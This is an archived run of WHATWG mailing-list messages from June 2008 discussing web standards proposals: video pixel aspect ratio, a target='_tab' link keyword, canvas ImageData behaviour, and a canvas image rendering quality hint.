> Does this mean the implementation must retrieve the self-described  
> pixel aspect ratio from the stream and supply it as part of the DOM?

Yes, the implementation would read the pixel ratio from the video
stream. In libtheora this is aspect_numerator/aspect_denominator of the
th_info struct (yes, this is pixel ratio, not frame aspect ratio). This
would all be handled by some multimedia framework anyway, so most
browsers won't have to worry too much about such details.

Exposing pixel ratio as readonly float videoPixelRatio in
HTMLVideoElement might be a good idea. If the media resource doesn't
self-describe its pixel ratio (many formats don't) it should be assumed
to be 1.0. I'm not convinced it is necessary as content authors who want
to be very explicit will probably set the pixelratio manually. Still, it
is trivial to expose and might make life easier for those who want this
information for low-level control of the video element size via the DOM.

-- 
Philip J?genstedt
Opera Software



From borekbe at yahoo.co.uk  Wed Jun 11 01:15:54 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Wed, 11 Jun 2008 08:15:54 +0000 (GMT)
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <261427.18082.qm@web25903.mail.ukl.yahoo.com>

Hi Adrian,

That is actually a very good point, I missed that. In fact, it means that _tab should not be part of HTML spec because it would possibly make things even worse than they currently are (opening GReader links in new "_tab"s in old browsers would lead to losing the opened articles) . I still believe that there should be a way to instruct the browser to open a new tab and the before mentioned CSS3 target-new is probably the best way (if not only one) to go.

Thanks,
Borek

----- Original Message ----
From: Adrian Sutton <adrian.sutton at ephox.com>
To: whatwg at lists.whatwg.org
Sent: Tuesday, 10 June, 2008 10:29:54 PM
Subject: Re: [whatwg] Proposal: target="_tab"

>> From my brief testing, _tab opens a new window so it should be backwards
>> compatible.

It's deceptively close but not quite backwards compatible. _tab will cause
the link to open in the frame called "_tab" and if it doesn't exist it
creates it, as a new window. So the first link works perfectly and opens a
new window but the second link you click will replace the first one since
there is now a frame called "_tab".

Regards,

Adrian Sutton.
______________________
Adrian Sutton, CTO
US: +1 (650) 292 9659 x717 UK: +44 (20) 8123 0617 x717
Ephox <http://www.ephox.com/>
Ephox Blogs <http://planet.ephox.com/>, Personal Blog
<http://www.symphonious.net/>


      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From borekbe at yahoo.co.uk  Wed Jun 11 01:37:09 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Wed, 11 Jun 2008 08:37:09 +0000 (GMT)
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <281159.69605.qm@web25901.mail.ukl.yahoo.com>

Hi Ian,

What do you think about the GReader use case? In my eyes, it makes the _tab scenario quite valid.

But, as mentioned by Adrian Sutton, there would be technical problems with older browsers so this proposal has to be scrapped. On the HTML/CSS level, this will be eventually handled by the 'target-new' property (which will be more flexible than target="_tab" as well) and I hope it will find its way into JavaScript too, eventually.

P.S. Sorry for not maintaining the thread sequence correctly, I couldn't figure out how to do that (that's why I used the forum instead of the mailing list in the first place :)

---
Borek

----- Original Message ----
From: Ian Hickson <ian at hixie.ch>
To: Simon Pieters <simonp at opera.com>; Jens Meiert <jens at meiert.com>; Jo?o Eiras <joao.eiras at gmail.com>; Lachlan Hunt <lachlan.hunt at lachy.id.au>; Borek Bernard <borekbe at yahoo.co.uk>; Adrian Sutton <adrian.sutton at ephox.com>
Cc: WHATWG <whatwg at whatwg.org>
Sent: Wednesday, 11 June, 2008 12:16:50 AM
Subject: Re: Proposal: target="_tab"

On Tue, 10 Jun 2008, Simon Pieters wrote:
>
> In http://forums.whatwg.org/viewtopic.php?t=185 it is proposed that 
> authors should have the ability to suggest that links open in new 
> windows and new tabs. The suggested solution is to introduce a new 
> browsing context keyword "_tab".
> 
> Use case for opening a new window with specified size: help popup.
> 
> Use case for opening a new window without specified size: print page.
> 
> Use case for opening a new tab: links in GReader for later reading.
> 
> Demand for this feature: http://www.google.com/search?q=_tab

In general, it's best to let users decide where the link should open. In 
cases where the author really wants to open a new top-level browsing 
context, _blank already provides that option. Help popups are probably 
better done using inline floating iframes inside <aside>. Browsers having 
tabs, windows, or any number of other UI constructs should not be an issue 
that Web authors need to deal with. Thus, I don't think _tab makes much 
sense.

[snip a number of arguments much like the above]

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'



      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From giecrilj at stegny.2a.pl  Wed Jun 11 01:42:41 2008
From: giecrilj at stegny.2a.pl (=?us-ascii?Q?Kristof_Zelechovski?=)
Date: Wed, 11 Jun 2008 10:42:41 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <281159.69605.qm@web25901.mail.ukl.yahoo.com>
References: <281159.69605.qm@web25901.mail.ukl.yahoo.com>
Message-ID: <9D01A591659A40B1A1BDC4BF76364B8B@POCZTOWIEC>

Once you have support in CSS, you can use DOM+CSS from JS.  No particular
support within JS is required.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Borek Bernard
Sent: Wednesday, June 11, 2008 10:37 AM
To: Ian Hickson; whatwg at lists.whatwg.org
Subject: Re: [whatwg] Proposal: target="_tab"

Hi Ian,

What do you think about the GReader use case? In my eyes, it makes the _tab
scenario quite valid.

But, as mentioned by Adrian Sutton, there would be technical problems with
older browsers so this proposal has to be scrapped. On the HTML/CSS level,
this will be eventually handled by the 'target-new' property (which will be
more flexible than target="_tab" as well) and I hope it will find its way
into JavaScript too, eventually.

P.S. Sorry for not maintaining the thread sequence correctly, I couldn't
figure out how to do that (that's why I used the forum instead of the
mailing list in the first place :)

---
Borek





From jens at meiert.com  Wed Jun 11 02:05:40 2008
From: jens at meiert.com (Jens Meiert)
Date: Wed, 11 Jun 2008 11:05:40 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <Pine.LNX.4.62.0806102212570.6527@hixie.dreamhostps.com>
References: <C474A2D2.537D%adrian.sutton@ephox.com>
	<Pine.LNX.4.62.0806102212570.6527@hixie.dreamhostps.com>
Message-ID: <9fbcac550806110205o78d3e1e5j73e259fb9e8284d5@mail.gmail.com>

> > In http://forums.whatwg.org/viewtopic.php?t=185 it is proposed that
> > authors should have the ability to suggest that links open in new
> > windows and new tabs. The suggested solution is to introduce a new
> > browsing context keyword "_tab".
>
> In general, it's best to let users decide where the link should open.

Absolutely agreed.

What is interesting though is that authors can let open new
windows/tabs by HTML, CSS, /and/ scripting. I am not sure if this
functionality, that may ultimately impede user experience, can really
be considered structural, presentational, /and/ behavioral.

-- 
Jens Meiert
http://meiert.com/en/


From borekbe at yahoo.co.uk  Wed Jun 11 02:27:01 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Wed, 11 Jun 2008 09:27:01 +0000 (GMT)
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <939052.3245.qm@web25905.mail.ukl.yahoo.com>

Hi Kristof,

my knowledge of JS is limited but how would you handle this situation:
in your web app, you want to provide a keyboard shortcut for opening
current item into a new tab. You need to invoke this action from JavaScript so setting CSS to some DOM element is not enough (AFAIK). I think window.open() would need some new optional parameter or something similar to support this.

---
Borek

----- Original Message ----
From: Kristof Zelechovski <giecrilj at stegny.2a.pl>
To: Borek Bernard <borekbe at yahoo.co.uk>; Ian Hickson <ian at hixie.ch>; whatwg at lists.whatwg.org
Sent: Wednesday, 11 June, 2008 10:42:41 AM
Subject: Re: [whatwg] Proposal: target="_tab"

Once you have support in CSS, you can use DOM+CSS from JS.  No particular
support within JS is required.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Borek Bernard
Sent: Wednesday, June 11, 2008 10:37 AM
To: Ian Hickson; whatwg at lists.whatwg.org
Subject: Re: [whatwg] Proposal: target="_tab"

Hi Ian,

What do you think about the GReader use case? In my eyes, it makes the _tab
scenario quite valid.

But, as mentioned by Adrian Sutton, there would be technical problems with
older browsers so this proposal has to be scrapped. On the HTML/CSS level,
this will be eventually handled by the 'target-new' property (which will be
more flexible than target="_tab" as well) and I hope it will find its way
into JavaScript too, eventually.

P.S. Sorry for not maintaining the thread sequence correctly, I couldn't
figure out how to do that (that's why I used the forum instead of the
mailing list in the first place :)

---
Borek


      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From ian at hixie.ch  Wed Jun 11 02:52:41 2008
From: ian at hixie.ch (Ian Hickson)
Date: Wed, 11 Jun 2008 09:52:41 +0000 (UTC)
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <9fbcac550806110205o78d3e1e5j73e259fb9e8284d5@mail.gmail.com>
References: <C474A2D2.537D%adrian.sutton@ephox.com>
	<Pine.LNX.4.62.0806102212570.6527@hixie.dreamhostps.com>
	<9fbcac550806110205o78d3e1e5j73e259fb9e8284d5@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806110952280.6527@hixie.dreamhostps.com>

On Wed, 11 Jun 2008, Jens Meiert wrote:
> > >
> > > In http://forums.whatwg.org/viewtopic.php?t=185 it is proposed that 
> > > authors should have the ability to suggest that links open in new 
> > > windows and new tabs. The suggested solution is to introduce a new 
> > > browsing context keyword "_tab".
> >
> > In general, it's best to let users decide where the link should open.
> 
> Absolutely agreed.
> 
> What is interesting though is that authors can let open new windows/tabs 
> by HTML, CSS, /and/ scripting. I am not sure if this functionality, that 
> may ultimately impede user experience, can really be considered 
> structural, presentational, /and/ behavioral.

I have no idea what you mean or how it affects the spec.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Wed Jun 11 03:13:34 2008
From: ian at hixie.ch (Ian Hickson)
Date: Wed, 11 Jun 2008 10:13:34 +0000 (UTC)
Subject: [whatwg] ImageData feedback
In-Reply-To: <484DF430.4090807@sicking.cc>
References: <Pine.LNX.4.62.0611151735330.28418@dhalsim.dreamhost.com>
	<4560F162.7060204@stefan-haustein.com>
	<Pine.LNX.4.62.0805020038260.21650@hixie.dreamhostps.com>
	<0738FD12-AC1F-44C0-B731-2FF7C6084BDC@pobox.com>
	<Pine.LNX.4.62.0805100036080.23610@hixie.dreamhostps.com>
	<E5819C3D-698A-4AFC-9CD6-C0BDE670227F@pobox.com>
	<3A588C7C-DD91-495E-87F0-4FAAA2E60E71@pobox.com>
	<6D02C77F-6528-4032-8071-00CCF8D43B5C@apple.com>
	<0C3E377C-A5E4-4D7A-90A8-F97513B1CA1E@pobox.com>
	<B483364C-AA4F-405F-BDEB-4081071B43B9@apple.com>
	<3176995D-372E-4430-A2F6-0605E93123E8@pobox.com>
	<E31F35F6-366E-4680-81E7-72F6E07E1D9F@apple.com>
	<CE1AC749-12A0-4FD6-BF55-5B68032C018C@pobox.com>
	<B27A91CD-A9A8-4BA8-8A3B-F1802F5A1314@apple.com>
	<66629F5C-A66F-484E-AAF4-6618BF7AA574@pobox.com>
	<484DF430.4090807@sicking.cc>
Message-ID: <Pine.LNX.4.62.0806102218140.8559@hixie.dreamhostps.com>

On Tue, 19 Feb 2008, Oliver Hunt wrote:
> 
> The first is relatively simple, 3.14.11.1.10 states
> "If any of the arguments to createImageData() or getImageData() are infinite
> or NaN, or if either the sw or sh arguments are zero, the method must instead
> raise an INDEX_SIZE_ERR exception."
> 
> I feel this should probably be extended to throw on negative sw and sh.

This is intended to support negative arguments, hence the mention of 
"absolute magnitude" in the definition of what the method does. This is 
for consistency with the other methods, which work fine with negative 
dimensions.


> Additionally sw and sh are both floats and can therefore have a fractional
> component, so this needs to be handled.  I think we should specify the finite
> value clamps in device pixels, eg.
>
> "If any of the arguments to createImageData() or getImageData() are infinite
> or NaN, or if either the sw or sh arguments are less than one when scaled to
> the device pixel space, the method must instead raise an INDEX_SIZE_ERR
> exception."

I don't think we want to make exception raising be dependent on the 
resolution of the backing store, since that's a UA decision. I think it 
makes more sense to make the height and width be always at least 1. Right 
now UAs are required to do this, though it's not explicitly stated in 
terms of rounding. I can add a note if you like.

(I've added createImageData() to the paragraph that talks about device 
rounding, by the way. This was an unintentional omission.)


> The other issues relate to the data member of ImageData.  Currently this 
> is referred to as an int array, however the DOM does not define such an 
> array, and certainly doesn't specify any kind of clamping (let alone 
> clamping to a smaller range than that supported by the type).  I think 
> the behaviour of this "array" needs to be defined, and givevn that only 
> Opera currently implements an actual ImageData type i've been looking at 
> their implementation.
>
> Assuming we have an ImageData object with width, w and height, h then Opera
> provides a data member of "CanvasPixelArray", with the following behaviour:
> * A readonly length property is provided return the value w*h*4
> * Assignment to elements [0..w*h*4) (approximately) follows the behaviour
> defined in section 3.14.11.1.10 (assignment never throws NaN is stored a zero
> which i believe is preferable)
> * Assignment to elements outside [0..w*h*4) results in no clamping and does
> not alter the length property, this includes non-numeric properties
> * Iteration returns only the length property and those properties that have
> been added programmatically -- iteration does *not* include [0..w*h*4)
> 
> By and large I am fine with this behaviour, although i would prefer that 
> it were not possible to add arbitrary properties to the data array -- 
> but i can't come up with a real justification for such a restriction :D

I've added a CanvasPixelArray interface and used that. (The setter and 
getter are temporarily named XXX5 and XXX6 while we wait for WebIDL to 
have a way to hide members from objects.)


On Thu, 21 Feb 2008, Oliver Hunt wrote:
>
> At the moment the spec merely states that 
> putImageData(getImageData(sx,sy,..),sx,sy) should not result in any 
> visible change to the canvas, however for those implementations that use 
> a premultiplied buffer there is a necessary premultiplication stage 
> during blitting that results in a loss of precision in some 
> circumstances -- the most obvious being the case of alpha == 0, but many 
> other cases exist, eg. (254, 254, 254, alpha < 255).  This loss of 
> precision has no actual effect on the visible output, but does mean that 
> in the following case:
>
> imageData = context.getImageData(0,0,...);
> imageData.data[0]=254;
> imageData.data[1]=254;
> imageData.data[2]=254;
> imageData.data[3]=1;
> context.putImageData(imageData,0,0);
> imageData2.data = context.getImageData(0,0,...);
> 
> At this point implementations that use premultiplied buffers can't 
> guarantee imageData.data[0] == imageData2.data[0]

They don't have to. As Philip says:

On Wed, 30 Apr 2008, Philip Taylor wrote:
> 
> The spec does not state that getImageData(putImageData(data)) == data,
> which is where the problem would occur. It only states that
> putImageData(getImageData) == identity function, which is not a
> problem for premultiplied implementations (since the conversion from
> premultiplied to non-premultiplied is lossless and reversible). So I
> don't think the spec needs to change at all (except that it could have
> a note mentioning the issue).
> 
> (getImageData can convert internal premultiplied (pr,pg,pb,a) into
> ImageData's (r,g,b,a):
> 
>     if (a == 0) {
>         r = g = b = 0;
>     } else {
>         r = (pr * 255) / a;
>         g = (pg * 255) / a;
>         b = (pb * 255) / a;
>     }
> 
> (using round-to-zero integer division). putImageData can convert the other way:
> 
>     pr = (r*a + 254) / 255;
>     pg = (g*a + 254) / 255;
>     pb = (b*a + 254) / 255;
> 
> Then put(get()) has no effect on the values in the premultiplied buffer.)


On Thu, 21 Feb 2008, Oliver Hunt wrote:
>
> Currently no UA can guarantee a roundtrip so i would suggest the spec be
> updated to state that implementations do not have to guarantee a roundtrip for
> any pixel where alpha < 255.

The spec doesn't require roundtrip, so I'm not sure what the note would 
say.


> The other issue is the behaviour of NaN in ImageData.  Currently the 
> spec states that attempting to assign NaN (or any value for which 
> toNumber produces NaN) into the ImageData object should throw.  I feel 
> that this is another place where NaN should be simply ignored, which is 
> the behaviour given by Opera, which is the only UA that implements the 
> ImageData API (that i'm aware of).
> 
> In Opera's implementation all non-finite numbers are stored as zero, which is
> (to my mind) much better than throwing an exception, however i would expect
> NaN => 0
> -Infinity => 0
> Infinity => 255
> 
> So +/-Infinity would treated in line with standard clamping rules.

I believe the spec now requires this.



On Sat, 10 May 2008, Vladimir Vukicevic wrote:
> > 
> > This restriction was made because it allows for dramatic (many orders 
> > of magnitude) optimisations. With createImageData(), the use cases for 
> > custom imageData objects should be catered for -- what are the cases 
> > where you would need another solution? (Note that hand-rolling 
> > imageData objects is dangerous since you don't know what resolution 
> > the backing store is using, necessarily, which is something else that 
> > createImageData() solves.)
> 
> Well, I don't agree that it's "dangerous"; canvas resolution 
> independence has always been hard to pin down, and I still maintain that 
> it shouldn't be treated any differently than an image is treated.  

"dangerous" may be the wrong term. The real problem is that there's no 
real way to find out what the dimensions should be without calling 
createID() or getID(), and once you've done that you might as well just 
reuse the object you were handed.


> However, regardless of that, I don't think there's a reason to disallow 
> custom-created data objects, perhaps with a caveat that there may be 
> issues.. get/putImageData in Firefox 2, so adding that restriction may 
> unnecessarily break existing code that uses putImageData with a hand- 
> constructed ImageData object.

The restriction was put in because of a request from the WebKit guys to 
enable them to do order-of-magnitude performance improvements. On the long 
term, I think we're better of enabling those performance improvements than 
supporting the earliest users of the API, especially given that those uses 
only ever worked in one UA.


> I would amend the spec to state that if an object is passed to 
> putImageData with the necessary properties, but without having been 
> created by create/getImageData beforehand, that its dimensions are aways 
> in device pixels.

We could support a conversion from custom (JS) objects to native ImageData 
objects when the method is passed a non-native object, but that seems like 
a lot of complications for little gain. After all, calling 
createImageData() isn't an onerous requirement.


> One problem with the desired goal of resolution independence is that it 
> only really makes sense if the target resolution is an integer multiple 
> of a CSS pixel.  For example, with a 144dpi output device, that's 
> exactly 1.5 times CSS resolution.  If I call createImageData with 
> dimensions 10,10, I would get an ImageData object with width 15 and 
> height 15.  What do I get if I call it with 11,11 though?  That's 16.5 
> device pixels, and you're going to lose data either way you go, because 
> at putImageData time you're going to get seams no matter what direction 
> you round.  This can maybe be solved with language in the spec that 
> specifies that a canvas should use a different ratio of CSS pixels to 
> device pixels only if one is an integer multiple of the other, but that 
> seems like an odd limitation (and it still requires the implementation 
> to decide what to do if a clean ratio isn't possible).

I don't understand what use cases you are expecting where this would be a 
problem. Typically the idea here is doing filters or generating patterns 
like clouds or fractals, in which case, so long as the UA follows the 
spec's rules on rounding behaviour, the seams shouldn't be a big problem. 
Could you illustrate the case you are concerned about with an example?


> Another approach would be to not try to solve this in canvas at all, and
> instead specify that by default, all canvas elements are 96dpi, and provide
> authors a way to explicitly override this -- then using a combination of CSS
> Media Queries and other CSS, the exact dpi desired could be specified.  (You
> can sort of do this today, given that the canvas width/height attributes are
> in CSS pixels, and that if CSS dimensions are present a canvas is scaled like
> an image... so canvas { width: 100px; height: 100px; } ... <canvas width="200"
> height="200"/> would give a 192dpi canvas today, no?)

A UA would be quite within its rights today to make that a canvas with a 
native backing store dimension of 100x100. It could also make it 
4000x4000. There's really no reason for the user to know.


On Sat, 10 May 2008, Vladimir Vukicevic wrote:
> 
> Eh?  The resolution used should be whatever the appropriate resolution 
> should be;  I'm certainly not suggesting that everyone unilaterally 
> create canvases with 2x pixel resolution, I'm saying that the features 
> exist to allow authors to (dynamically) create a canvas at whatever the 
> appropriate resolution is relative to CSS resolution.  Canvas was 
> designed to allow for programmatic 2D rendering for web content; 
> resolution independence would certainly be nice, but it was never a goal 
> of the canvas spec.  In fact, the spec explicitly states that the 
> "canvas element represents a resolution-dependent bitmap canvas".

Right, the resolution in "resolution-dependent" being the display's native 
resolution. It was always intended (at least from my point of view, and as 
I understand it from the original Apple proposal) that <canvas> provide a 
way to render bitmap graphics that will always be the "best" resolution 
for the display. Resolution-independent from the author's point of view.


[snipped a discussion about whether to change some of the current 
validation rules, since it concluded that the current spec was fine]

On Tue, 13 May 2008, Vladimir Vukicevic wrote:
> 
> Some suggested language in section 3.12.11.1.11(!):
> 
> Instead of:
> 
> > If the first argment to the method is null or not an ImageData object 
> > that was returned by createImageData() or getImageData() then the 
> > putImageData() method must raise a TYPE_MISMATCH_ERR exception.
> 
> I would suggest:
> 
> The first argument to the method must be an ImageData object returned by 
> createImageData(), getImageData(), or an object constructed with the 
> necessary properties by the user.  If the object was constructed by the 
> user, its width and height dimensions are specified in device pixels 
> (which may not map directly to CSS pixels).  If null or any other object 
> is given that does not present the ImageData interface, then the 
> putImageData() method must raise a TYPE_MISMATCH_ERR exception.

On Tue, 13 May 2008, Oliver Hunt wrote:
> 
> If we were to add that we should include a note to indicate that using a 
> custom object is not recommended -- Any code that uses a custom created 
> object will never benefit from improvements in ImageData performance 
> made by the UA. That said I still don't believe custom objects should be 
> allowed, aside from the resolution (which may or may not be relevant) 
> and performance issues, a custom object with a generic JS array, rather 
> than an ImageData object will have different behaviour -- a proper 
> ImageData will clamp on assignment, and throw in cases that a custom 
> object won't.

On Tue, 13 May 2008, Vladimir Vukicevic wrote:
> 
> I'm fine with adding that language (the first part, anyway); something 
> like "Using a custom object is not recommended as the UA may be able to 
> optimize operations using ImageData if they were created via 
> createImageData() or getImageData()."

On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
> 
> [...] based on the discussion, I'd suggest:
> 
> - user-created ImageData-like objects should be supported, e.g. with 
> language such as:
> 
> The first argument to the method must be an ImageData object returned by 
> createImageData(), getImageData(), or an object constructed with the 
> necessary properties by the user.  If the object was constructed by the 
> user, its width and height dimensions are specified in device pixels 
> (which may not map directly to CSS pixels).  If null or any other object 
> is given that does not present the ImageData interface, then the 
> putImageData() method must raise a TYPE_MISMATCH_ERR exception.

On Mon, 9 Jun 2008, Jonas Sicking wrote:
> 
> Do note that dealing with user-created objects isn't trivial. You have 
> to be prepared for dealing with the user-created object changing the 
> whole world under you during a callback, this includes things like doing 
> any modification to the canvas object itself, but also things like 
> script navigating away and then causing a GC to tear down the world 
> around you.
> 
> This is usually not very hard to deal with, as long as you are not deep 
> inside a long callstack when calling out to content. This is because you 
> have to ensure that the whole callstack is ok with the world changing 
> around it.

The request seems to be aimed at addressing the small number of existing 
sites already deployed that rely on the Firefox 2 implementation. There 
doesn't seem to be an actual use case for the feature other than that.

Given this, and given that other UAs have already made changes that are 
incompatible with these very, very early pages in order to line up with 
the needs of implementations such as Mozilla, I don't think it really 
makes sense to add this to the spec. It isn't at all clear that other UAs 
actually want to support this anyway; indeed even Mozilla implementors 
seem reluctant to continue to support it (q.v. Jonas' comment above).

Vlad: I realise that this basically consists of rejecting your feedback on 
this, but I'm not sure how else to proceed given the clear statement from 
at least one other vendor that they don't want this feature. Sorry.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Wed Jun 11 03:34:10 2008
From: ian at hixie.ch (Ian Hickson)
Date: Wed, 11 Jun 2008 10:34:10 +0000 (UTC)
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com>
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com>
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com>
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com>
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>

On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
> 
> I'd like to propose adding an imageRenderingQuality property on the 
> canvas 2D context to allow authors to choose speed vs. quality when 
> rendering images (especially transformed ones).

How can an author know which is appropriate?


> This is modeled on the SVG image-rendering property, at 
> http://www.w3.org/TR/SVG/painting.html#ImageRenderingProperty:
> 
>   attribute string imageRenderingQuality;
> 
> 'auto' (default): The user agent shall make appropriate tradeoffs to 
> balance speed and quality, but quality shall be given more importance 
> than speed.
> 
> 'optimizeQuality': Emphasize quality over rendering speed.
> 
> 'optimizeSpeed': Emphasize speed over rendering quality.

This seems to be something that is completely inappropriate for SVG or for 
canvas. The UA should make its own tradeoffs, likely tradeoffs that don't 
even remotely fit into the categories above (e.g. adapting to scripts that 
do animations to converge on the best quality possible at 30fps, or 
optimise for memory usage).


On Mon, 2 Jun 2008, Oliver Hunt wrote:
>
> Um, could you actually give some kind of reasoning for these?  I am not 
> aware of any significant performance issues in Canvas that cannot be 
> almost directly attributed to JavaScript itself rather than the canvas.

On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
> 
> Sure; bilinear filtering is slower than nearest neighbour sampling, and 
> in many cases the app author would like to be able to decide that 
> tradeoff (or, at least, to be able to say "I want this to go as fast as 
> possible, regardless of quality").  Some apps might also render to a 
> canvas just once, and would prefer to do it at the highest quality 
> filtering available even if it's more expensive than the default.

Why not just have the UA run in a high quality mode the first time it is 
painted on, but if the script tries to paint again within a certain amount 
of time, switch to high speed?

Trusting the author to do this right seems like a fantastically bad idea.


On Mon, 2 Jun 2008, David Hyatt wrote:
> On Jun 2, 2008, at 4:34 PM, Vladimir Vukicevic wrote:
> > 
> > Yeah, I agree -- I thought that there was some plan somewhere to 
> > uplift a bunch of these SVG CSS properties into general usage?  I know 
> > that Gecko uplifted text-rendering, we should figure out what else 
> > makes sense to pull up.  (If image-rendering were uplifted, it would 
> > apply to <canvas>, for the scaling/transformation of the canvas 
> > element itself as opposed to the canvas rendering content.)
> 
> Right, that would be my expectation as well (that the CSS property could 
> be applied to <canvas> to control the quality when rendering the canvas 
> buffer itself).

That neatly moves the problem away from the canvas API, and thus it 
wouldn't be my problem necessarily, but I still don't think it'd be a good 
idea. :-)


On Mon, 2 Jun 2008, Oliver Hunt wrote:
>
> That's exactly what i would be afraid of people doing.  If I have a fast 
> system why should i have to experience low quality rendering?  It should 
> be the job of the platform to determine what level of performance or 
> quality can be achieved on a given device.  Typically such a property 
> would be considered a "hint", and as such would likely be ignored.
> 
> If honouring this property was _required_ rather than being a hint you would
> hit the following problems:
>
> * Low power devices would have a significant potential for poor 
> performance if a developer found that their desktop performed well so 
> set the requirement to high quality.
>
> * High power devices would be forced to use low quality rendering modes 
> when perfectly capable of providing better quality without significant 
> performance penalty.
> 
> Neither of these apply if the property were just a hint, but now you 
> have to think about what happens to content that uses this property in 
> 18 months time. You've told the UA to use a low quality rendering when 
> it may no longer be necessary, so now the UA has a choice it either 
> always obeys the property meaning lower quality than is necessary so 
> that new content performs well, or it ignores the property in which case 
> new content performs badly.
> 
> The correct behaviour would be for the UA to work out itself what it can 
> do, which it needs to be able to do anyway, in order to satisfy the 
> "auto" option.

That line of reasoning seems correct to me.


On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
> 
> If web apps misuse the property, then bugs should be filed on those apps 
> that incorrectly use the property, and the app developer should fix 
> them.

That's naive, I'm afraid. In practice, sites are written and abandoned, 
and don't get fixed.


On Tue, 3 Jun 2008, Robert O'Callahan wrote:
> 
> These hint properties are opt-in for UAs. If you don't like the idea, 
> just treat all values as "auto".

There's not much point us adding the feature if multiple UAs aren't going 
to implement it.

Also, if it's a hint, then it's untestable, and we wouldn't be able to 
prove interoperability, which again makes it something not really worth 
adding to the spec.


On Mon, 2 Jun 2008, Vladimir Vukicevic wrote:
> 
> The web platform shouldn't prevent developers from exercising control 
> over how their content is rendered; most developers, as you say, 
> probably shouldn't change anything from the default 'auto'.  But the 
> capability should be there. Arbitrarily deciding what developers can and 
> can't do isn't interesting from the perspective of creating a 
> full-featured platform, IMO.
> 
> No matter how fast smooth/bilinear filtering is, something more complex 
> is always going to be slower, and something less complex is always going 
> to be faster.  If those perf differences are significant to the web app, 
> no matter how small, you're going to want to be able to have that 
> control.  If they're not, then you should just be using 'auto' and let 
> the UA handle it.

On Mon, 2 Jun 2008, David Hyatt wrote:
> 
> I completely agree.  Almost any feature can be abused.  It's not our job 
> to withhold features just because they can be abused.  It's also worth 
> pointing out that this is a common graphical knob supported by Cairo and 
> CoreGraphics. It is a proprietary MS CSS property and an SVG CSS 
> property.  In other words, it seems to be a pretty widely implemented 
> feature and as such seems like it would be a worthwhile addition to 
> canvas.
> 
> If we add this, we should also add support for text rendering quality as 
> well, since canvas is picking up the ability to draw text.

The point is that you have no way to know whether you need to enable the 
speed optimisation or the quality optimisation. Say you're doing something 
which runs fine on a high-end Dell machine, runs ok on a Wii, and runs 
terribly on an iPhone. What setting do you use?


On Mon, 2 Jun 2008, Oliver Hunt wrote:
>
> The issue is not that certain operations are slower than others, the 
> issue is that anything that requires the developer to choose between 
> performance/quality is going to become obsolete as the performance trade 
> offs are constantly moving and are not the same from UA to UA, from 
> platform to platform.  I think the issue of performance is a complex one 
> that will not benefit in the long term from a simple on off switch.  
> Conceivably we could introduce new rendering primitives, such as 
> CanvasSprite, CanvasLayer, or some such which would, i suspect, provide 
> a similar benefit, but be more resilient in the face of changing 
> performance characteristics.

The decision would have to change over time as well, indeed, something 
which is just as hard for the author to deal with as multiple platforms.


On Tue, 3 Jun 2008, Jerason Banes wrote:
>
> If you don't mind someone weighing in who's been working with the 
> Nintendo Wii for the past year and a half, I have found that the 
> "quality" setting in Flash is tremendously useful. While the march of 
> Moore's law has ensured that Flash on the desktop is zippy, it has also 
> created a gap whereby smaller devices are powerful enough to compete 
> with last generation desktops. For these devices, the quality setting is 
> more than a "nice to have". It's absolutely critical to obtaining decent 
> performance.

Wouldn't it be better for the platform to decide that for itself?


> The algorithm's I've used over on WiiCade automatically adjust for high
> quality when on the desktop, and low to medium quality when on the Wii. This
> provides a more consistent experience to users of both systems. In addition,
> many game provide a quality setting in their options screen. (Similar to the
> rendering features options in most 3D games.) This allows the user to adjust
> the rendering speed manually if he finds his system is too slow or the game
> in question is more than fast enough on the Wii.

Why wouldn't the platform just support that natively instead of requiring 
every Web developer to do it manually?

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
